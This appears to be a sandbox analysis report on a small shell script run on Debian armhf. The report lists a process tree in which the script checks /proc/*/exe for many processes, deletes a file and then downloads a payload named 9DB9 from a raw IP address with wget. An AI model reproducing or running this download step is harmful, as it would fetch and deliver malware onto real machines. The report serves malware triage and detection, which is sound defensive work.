Overview

overview

3

Static

static

1

_df709c844...96a.sh

ubuntu-18.04-amd64

3

_df709c844...96a.sh

debian-9-armhf

3

_df709c844...96a.sh

debian-9-mips

3

_df709c844...96a.sh

debian-9-mipsel

3

Analysis

  • max time kernel
    146s
  • max time network
    147s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    23/06/2026, 04:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    _df709c844a5be6aeaeaa6a585e73e2706883e170ee3880e923d4147db2d5596a.sh
  • Size 830B
  • Sample260623-e29lnsas6q
  • SHA256 df709c844a5be6aeaeaa6a585e73e2706883e170ee3880e923d4147db2d5596a
  • MD5 SHA1 SHA512 TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/_df709c844a5be6aeaeaa6a585e73e2706883e170ee3880e923d4147db2d5596a.sh
    /tmp/_df709c844a5be6aeaeaa6a585e73e2706883e170ee3880e923d4147db2d5596a.sh
    1⤵
      PID:641
      • /bin/ls
        ls -l /proc/1/exe
        2⤵
        • Reads runtime system information
        PID:643
      • /bin/ls
        ls -l /proc/10/exe
        2⤵
        • Reads runtime system information
        PID:649
      • /bin/ls
        ls -l /proc/104/exe
        2⤵
        • Reads runtime system information
        PID:654
      • /bin/ls
        ls -l /proc/106/exe
        2⤵
        • Reads runtime system information
        PID:658
      • /bin/ls
        ls -l /proc/107/exe
        2⤵
        • Reads runtime system information
        PID:662
      • /bin/ls
        ls -l /proc/11/exe
        2⤵
        • Reads runtime system information
        PID:667
      • /bin/ls
        ls -l /proc/12/exe
        2⤵
        • Reads runtime system information
        PID:669
      • /bin/ls
        ls -l /proc/13/exe
        2⤵
        • Reads runtime system information
        PID:673
      • /bin/ls
        ls -l /proc/133/exe
        2⤵
        • Reads runtime system information
        PID:674
      • /bin/ls
        ls -l /proc/134/exe
        2⤵
        • Reads runtime system information
        PID:676
      • /bin/ls
        ls -l /proc/138/exe
        2⤵
        • Reads runtime system information
        PID:677
      • /bin/ls
        ls -l /proc/14/exe
        2⤵
        • Reads runtime system information
        PID:678
      • /bin/ls
        ls -l /proc/15/exe
        2⤵
        • Reads runtime system information
        PID:679
      • /bin/ls
        ls -l /proc/151/exe
        2⤵
        • Reads runtime system information
        PID:681
      • /bin/ls
        ls -l /proc/158/exe
        2⤵
        • Reads runtime system information
        PID:682
      • /bin/ls
        ls -l /proc/16/exe
        2⤵
        • Reads runtime system information
        PID:683
      • /bin/ls
        ls -l /proc/168/exe
        2⤵
        • Reads runtime system information
        PID:684
      • /bin/ls
        ls -l /proc/17/exe
        2⤵
        • Reads runtime system information
        PID:685
      • /bin/ls
        ls -l /proc/18/exe
        2⤵
        • Reads runtime system information
        PID:686
      • /bin/ls
        ls -l /proc/19/exe
        2⤵
        • Reads runtime system information
        PID:687
      • /bin/ls
        ls -l /proc/2/exe
        2⤵
        • Reads runtime system information
        PID:688
      • /bin/ls
        ls -l /proc/20/exe
        2⤵
        • Reads runtime system information
        PID:689
      • /bin/ls
        ls -l /proc/21/exe
        2⤵
        • Reads runtime system information
        PID:690
      • /bin/ls
        ls -l /proc/22/exe
        2⤵
        • Reads runtime system information
        PID:691
      • /bin/ls
        ls -l /proc/224/exe
        2⤵
        • Reads runtime system information
        PID:692
      • /bin/ls
        ls -l /proc/23/exe
        2⤵
        • Reads runtime system information
        PID:693
      • /bin/ls
        ls -l /proc/24/exe
        2⤵
        • Reads runtime system information
        PID:694
      • /bin/ls
        ls -l /proc/25/exe
        2⤵
        • Reads runtime system information
        PID:695
      • /bin/ls
        ls -l /proc/26/exe
        2⤵
        • Reads runtime system information
        PID:696
      • /bin/ls
        ls -l /proc/27/exe
        2⤵
        • Reads runtime system information
        PID:697
      • /bin/ls
        ls -l /proc/277/exe
        2⤵
        • Reads runtime system information
        PID:698
      • /bin/ls
        ls -l /proc/28/exe
        2⤵
        • Reads runtime system information
        PID:699
      • /bin/ls
        ls -l /proc/288/exe
        2⤵
        • Reads runtime system information
        PID:700
      • /bin/ls
        ls -l /proc/29/exe
        2⤵
        • Reads runtime system information
        PID:701
      • /bin/ls
        ls -l /proc/290/exe
        2⤵
        • Reads runtime system information
        PID:702
      • /bin/ls
        ls -l /proc/295/exe
        2⤵
        • Reads runtime system information
        PID:703
      • /bin/ls
        ls -l /proc/296/exe
        2⤵
        • Reads runtime system information
        PID:704
      • /bin/ls
        ls -l /proc/3/exe
        2⤵
        • Reads runtime system information
        PID:705
      • /bin/ls
        ls -l /proc/300/exe
        2⤵
        • Reads runtime system information
        PID:706
      • /bin/ls
        ls -l /proc/301/exe
        2⤵
        • Reads runtime system information
        PID:707
      • /bin/ls
        ls -l /proc/317/exe
        2⤵
        • Reads runtime system information
        PID:708
      • /bin/ls
        ls -l /proc/319/exe
        2⤵
        • Reads runtime system information
        PID:709
      • /bin/ls
        ls -l /proc/326/exe
        2⤵
          PID:710
        • /bin/ls
          ls -l /proc/4/exe
          2⤵
            PID:711
          • /bin/ls
            ls -l /proc/41/exe
            2⤵
            • Reads runtime system information
            PID:712
          • /bin/ls
            ls -l /proc/42/exe
            2⤵
            • Reads runtime system information
            PID:713
          • /bin/ls
            ls -l /proc/43/exe
            2⤵
            • Reads runtime system information
            PID:714
          • /bin/ls
            ls -l /proc/5/exe
            2⤵
            • Reads runtime system information
            PID:715
          • /bin/ls
            ls -l /proc/564/exe
            2⤵
            • Reads runtime system information
            PID:716
          • /bin/ls
            ls -l /proc/576/exe
            2⤵
            • Reads runtime system information
            PID:717
          • /bin/ls
            ls -l /proc/578/exe
            2⤵
            • Reads runtime system information
            PID:718
          • /bin/ls
            ls -l /proc/583/exe
            2⤵
            • Reads runtime system information
            PID:719
          • /bin/ls
            ls -l /proc/584/exe
            2⤵
            • Reads runtime system information
            PID:720
          • /bin/ls
            ls -l /proc/6/exe
            2⤵
            • Reads runtime system information
            PID:723
          • /bin/ls
            ls -l /proc/630/exe
            2⤵
            • Reads runtime system information
            PID:725
          • /bin/ls
            ls -l /proc/631/exe
            2⤵
            • Reads runtime system information
            PID:727
          • /bin/ls
            ls -l /proc/632/exe
            2⤵
            • Reads runtime system information
            PID:730
          • /bin/ls
            ls -l /proc/635/exe
            2⤵
            • Reads runtime system information
            PID:732
          • /bin/ls
            ls -l /proc/637/exe
            2⤵
            • Reads runtime system information
            PID:734
          • /bin/ls
            ls -l /proc/638/exe
            2⤵
            • Reads runtime system information
            PID:736
          • /bin/ls
            ls -l /proc/639/exe
            2⤵
            • Reads runtime system information
            PID:738
          • /bin/ls
            ls -l /proc/641/exe
            2⤵
            • Reads runtime system information
            PID:740
          • /bin/ls
            ls -l /proc/7/exe
            2⤵
            • Reads runtime system information
            PID:742
          • /bin/ls
            ls -l /proc/74/exe
            2⤵
            • Reads runtime system information
            PID:745
          • /bin/ls
            ls -l /proc/8/exe
            2⤵
            • Reads runtime system information
            PID:747
          • /bin/ls
            ls -l /proc/9/exe
            2⤵
              PID:749
            • /bin/ls
              ls -l /proc/96/exe
              2⤵
              • Reads runtime system information
              PID:752
            • /bin/rm
              rm -rf 9DB9
              2⤵
                PID:753
              • /usr/bin/wget
                wget http://129.121.114.124/9DB9
                2⤵
                  PID:755

              Network

                    MITRE ATT&CK Matrix

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads